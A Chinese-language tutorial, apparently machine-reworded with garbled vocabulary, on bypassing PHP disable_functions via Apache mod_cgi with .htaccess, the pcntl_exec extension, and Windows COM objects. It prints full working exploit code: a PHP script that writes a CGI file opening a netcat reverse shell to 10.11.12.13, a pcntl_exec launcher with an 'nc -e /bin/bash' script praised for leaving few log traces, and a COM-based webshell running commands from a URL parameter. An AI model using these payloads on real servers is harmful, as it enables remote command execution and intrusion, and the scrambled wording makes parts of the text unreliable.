-中篇的教程紧张是讲下上次提到的其余一种姿势:
后端组件漏洞(imagemagick、GhostScript和bash shellshock)
现在开始写下篇的教程,不知道能不能写完,越看越以为姿势确实太多了,有些复现起来比较大略的姿势我这里就不多先容了。
Apache+mod_cgi+.htaccess
这个实在也是在yangyangwithgnu的那篇 无需sendmail:巧用LD_PRELOAD打破disable_functions 中提及但未复现的一种姿势,这种姿势还是国外的安全研究者最先创造,然后揭橥并在exploitdb上也留下了验证的poc,在php5时期可以说是曾经火热一时。现在我们来复现一下。
测试环境
操作系统:CentOS Linux release 7.2.1511Apache版本:Apache/2.4.6PHP版本:PHP 5.4.16禁用函数:symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_exec
安装过程如遇No package xxx available可安装扩展更新包
yum install epel-release
根据教程描述,想要复现本漏洞要知足以下条件:
1. web做事器运行apache
2.启用mod_cgi模块
3.许可.htaccess文件生效
4..htaccess文件必须具备写权限
好了我们依次看下条件能否知足吧。
第一个条件最好知足,由于我们便是apache2+php5的环境;
第二个条件我们看下:
mod_cgi模块默认安装完httpd后就会启用,可以通过以下命令查看已经安装的apache模块:
httpd -M
cgimodule真的便是mod_cgi吗?这里我们看下apache官方文档。
(http://man.gimoo.net/apache2/html/mod_cgi.html)
根据描述,mod_cgi浸染如下:
任何具有mime类型application/x-httpd-cgi或者被 cgi-script处理器(Apache 1.1或往后版本)处理的文件将被作为CGI脚本对待并由做事器运行, 它的输出将被返回给客户端。通过两种路子使文件成为CGI脚本,或者文件具有已由 AddType指令定义的扩展名,或者文件位于 ScriptAlias目录中。
实在很大略:mod_cgi模块便是将cgi脚本文件或者用户自定义格式的脚本文件在做事端运行并将输出返回。
第三个条件和第四个条件都是关于.htacess的,我们一起看一下。
首先第四个条件是.htaccess文件可以写入,这个很大略,一样平常该文件都是在指定的web目录下启用,我们都可以在web目录下自己创建文件的,以是写文件自然不在话下。
至于第三个条件.htaccess文件是否生效,则要看apache配置文件中指定web目录下AllowOverride参数值的设置。
在 AllowOverride 设置为 None 时, .htaccess 文件将被完备忽略。当此指令设置为 All 时,所有具有 \公众.htaccess\"大众 浸染域的指令都许可涌如今 .htaccess 文件中。
这里我将apache配置文件该web目录下AllowOverride参数直接设置为ALL。
有人可能会说,这么设置有点尴尬吧,不是默认配置啊!
我们看下apache官方文档allowoverride简介(http://httpd.apache.org/docs/2.4/mod/core.html#allowoverride)
里面提到:apache 2.3.8及以前版本,AllowOverride参数默认值便是ALL
知道2.3.9以上版本才改为None,以是影响范围还是比较可不雅观的。然而我的web目录下目前暂时没有.htaccess文件,这个实在不影响,后面会解释。
好了,到这里我们4个条件都知足了,我们开始考试测验复现一下吧。
开始复现
这里直接用exploitdb上的poc。
mod_cgi.php
<?php $cmd = \"大众nc -c '/bin/bash' 10.11.12.13 8888\公众; //command to be executed $shellfile = \"大众#!/bin/bash\n\"大众; //using a shellscript $shellfile .= \"大众echo -ne \\"大众Content-Type: text/html\\n\\n\\公众\n\"大众; //header is needed, otherwise a 500 error is thrown when there is output $shellfile .= \"大众$cmd\"大众; //executing $cmd function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter { echo \公众$text: \"大众 . ($condition ? $yes : $no) . \公众<br>\n\"大众; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', \"大众\nSetEnv HTACCESS on\"大众, FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable = is_writable('.'); //current dir writable? $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled(\公众Mod-Cgi enabled\"大众,$modcgi,\公众Yes\公众,\"大众No\公众); checkEnabled(\"大众Is writable\公众,$writable,\"大众Yes\公众,\"大众No\"大众); checkEnabled(\公众htaccess working\"大众,$htaccess,\"大众Yes\"大众,\公众No\"大众); if(!($modcgi && $writable && $htaccess)) { echo \公众Error. All of the above must be true for the script to work!\公众; //abort if not } else { checkEnabled(\"大众Backing up .htaccess\"大众,copy(\"大众.htaccess\"大众,\公众.htaccess.bak\"大众),\"大众Suceeded! Saved in .htaccess.bak\"大众,\"大众Failed!\"大众); //make a backup, cause you never know. checkEnabled(\"大众Write .htaccess file\"大众,file_put_contents('.htaccess',\"大众Options +ExecCGI\nAddHandler cgi-script .dizzle\"大众),\"大众Succeeded!\"大众,\公众Failed!\"大众); //.dizzle is a nice extension checkEnabled(\公众Write shell file\"大众,file_put_contents('shell.dizzle',$shellfile),\公众Succeeded!\"大众,\公众Failed!\"大众); //write the file checkEnabled(\公众Chmod 777\"大众,chmod(\"大众shell.dizzle\公众,0777),\公众Succeeded!\"大众,\公众Failed!\"大众); //rwx echo \公众Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>\"大众; //call the script } } ?>
直接把该php文件上传到web目录下,里面实行的是反弹shell的命令,我们开启监听做事器的指定端口,然后考试测验访问该文件。
反弹成功,命令可以实行,绕过了disable_functions的限定。
缘故原由探究
我们剖析一下这个poc为什么可以实现命令实行呢?
大略剖析一下mod_cgi.php:
首先它吧反弹shell的命令写到了当前目录下的shell.dizzle文件中,不认识这个后缀没有关系,后面会阐明。
下面是创建检讨指定条件是否知足的函数checkEnabled。
接着检讨url中是否有checked字段,如果没有考试测验创建.htaccess文件然后重定向url添加?checked=true。
接下来依次检测:
1. mod_cgi模块是否启用2. 当前目录是否可写;3. .htaccess文件是否可以生效;
如果不知足,则报错表示不知足利用的条件。
接下来备份原有的.htaccess文件,并新建.htaccess文件内容为:
Options +ExecCGI\nAddHandler cgi-script .dizzle
创建shell.dizzle文件,并授予777权限,末了通过js调用该脚本在做事端运行。
思路非常清晰,创建的文件实在都可以在做事器和浏览器看到。
新增.htaccess文件,并且看到里面的内容
内容是:
Options +ExecCGIAddHandler cgi-script .dizzle
关于apache的Options指令含义,参考Apache Options指令详解(http://www.365mini.com/page/apache-options-directive.htm)
个中 ExecGGI代表许可利用mod_cgi模块实行CGI脚本。
而 AddHandlercgi-script.dizzle这是代表后缀名是.dizzle格式的文件调用cgi程序来处理。
这个和apache其余一个配置很像 AddType,这两个有什么差异呢?
AddType 是与类型表干系的,描述的是扩展名与文件类型之间的关系,如:AddType application/x-x509-ca-cert .crt解释 .crt 扩展名的文件便是application/x-x509-ca-cert类型的; 在内容协商时,如果客户端须要是application/x-x509-ca-cert类型的,就将 .crt结尾的资源返回把稳: 经由内容协商的资源,在http相应头中有相应的Content-Location解释,如:GET /a HTTP/1.1……Content-Location: a.php…AddHandler 解释什么样的扩展名利用什么样的程序来处理,描述的是扩展名与处理程序之间的关系AddHandler cgi-script .cgi
简而言之
AddType是定义什么样后缀名的文件对应的文件类型
AddHandler是定义什么样后缀名文件对应的处理程序
新增shell.dizzle文件,里面的内容是反弹shell
页面js调用shell.dizzle
好了,到这里基本上就复现成功并且阐明了个中的事理,最好的理解办法便是手动复现一遍。
利用pcntl_exec
这个实在网上资料多,但是有复现记录的并不多,缘故原由可能是pcntl这个扩展默认是不安装的,而且这个方法也相对较为冷门。
pcntl扩展是用于让PHP支持多线程操作而开拓的,默认情形下是不安装本扩展的。
所以为了复现,我们须要自己安装一下该扩展,这里须要用到phpize(用于给PHP动态添加扩展,避免重新编译安装一遍php),如果phpize命令不存在或实行报错可以yum或者apt-get 安装一下php-devel。
牢记安装pcntl扩展时,下载和已安装php同版本的源码包,如果找不到,去PHP5博物馆(https://museum.php.net/php5/)探求下载。
--安装pcntl教程参考:
php5.5 安装pcntl扩展(https://blog.csdn.net/fareast_mzh/article/details/87349857)
如何安装php扩展pcntl(https://www.jianshu.com/p/770d0bea2087)
记得php.ini中须要将pcntl_exec从disable_functions中删除。
安装完成往后,可以准备两个文件上传到web目录下。
pcntl.php,核心便是利用pcntl扩展的pcntl_exec函数实行指定脚本。
<?php if(function_exists('pcntl_exec')) { pcntl_exec(\"大众/bin/bash\公众, array(\"大众/var/www/html/test.sh\"大众)); } else { echo 'pcntl extension is not support!'; } ?>
test.sh,由于脚本可为Linux shell脚本,以是灵巧性较大,推举直接反弹shell
#!/bin/bashnc -e /bin/bash 10.11.12.13 8888
此时我们远端做事器开启监听,考试测验访问pcntl.php。
命令成功实行,页面报错无任何影响,这样利用的好处在于此时access_log不会有任何记录,error_log也只有在连接断开的时候才会有1条记录,暗藏性还可以~
Windows System Components
利用COM组件绕过disable_functions,这个是Windows上绕过的姿势之一。
在PHP 5.x系列可以利用该绕过的姿势,无奈之下只能拿我本机Windows 10来复现了,本来想着都9102年了,这个姿势可能失落效了,结果后来测试了一下,居然还能用~
测试环境
操作系统:Windows 10Apache版本:Apache2PHP版本:PHP 5.6.15禁用函数:symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_exec
方便起见,我直接用XAMPP搭建的环境,同样是配置了disable_functions,传了一个webshell上去,可以查看文件,但是不能实行命令。
当然,这个漏洞在利用的时候,还是须要一定条件的,由于是COM组件的问题,以是要现在php.ini中启用干系dll和配置,然后重启apache。
extension = php_com_dotnet.dllcom.allow_dcom = true
这里大略说下COM组件的用场:
COM组件由以Win 32动态连接库(DLL)或可实行文件(EXE)形式发布的可实行代码所组成。遵照COM规范编写出来的组件将能够知足对组件架构的所有哀求。COM组件可以给运用程序、操作系统以及其他组件供应做事;自定义的COM组件可以在运行时候同其他组件连接起来构成某个运用程序;COM组件可以动态的插入或卸出运用。
复现过程
这里直策应用布局好的poc
comm.php
<?php$command=$_GET[a];$wsh = new COM('WScript.shell'); // 天生一个COM工具$exec = $wsh->exec('cmd.exe /c '.$command); //调用工具方法来实行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput?>
然后考试测验访问一下
http://url/comm.php?a=whoami
试试查看当前目录pwd
再看看能不能弹打算器
真的都可以,效果大赞,这种对付启用COM组件的php站点切实其实便是绕过杀器。
--结语
好了,到这里先容的姿势大概多了,虽然还有很多其它姿势没有先容,比如:
imap_open绕过(和pcntl类似,须要安装imap扩展)
黑名单函数绕过(利用冷门函数实行命令)
perl扩展安全模式绕过
win32std扩展绕过
...
有兴趣的小伙伴可以自行复现体验,我这里不会再连续补充了,写完这篇教程虽然在环境布局上花了不少韶光,但收成还是很多,学无止境,觉得须要学习的东西还有很多~
参考链接
https://www.freebuf.com/articles/web/169156.html
https://github.com/l3m0n/Bypass_Disable_functions_Shell
https://cloud.tencent.com/developer/article/1141142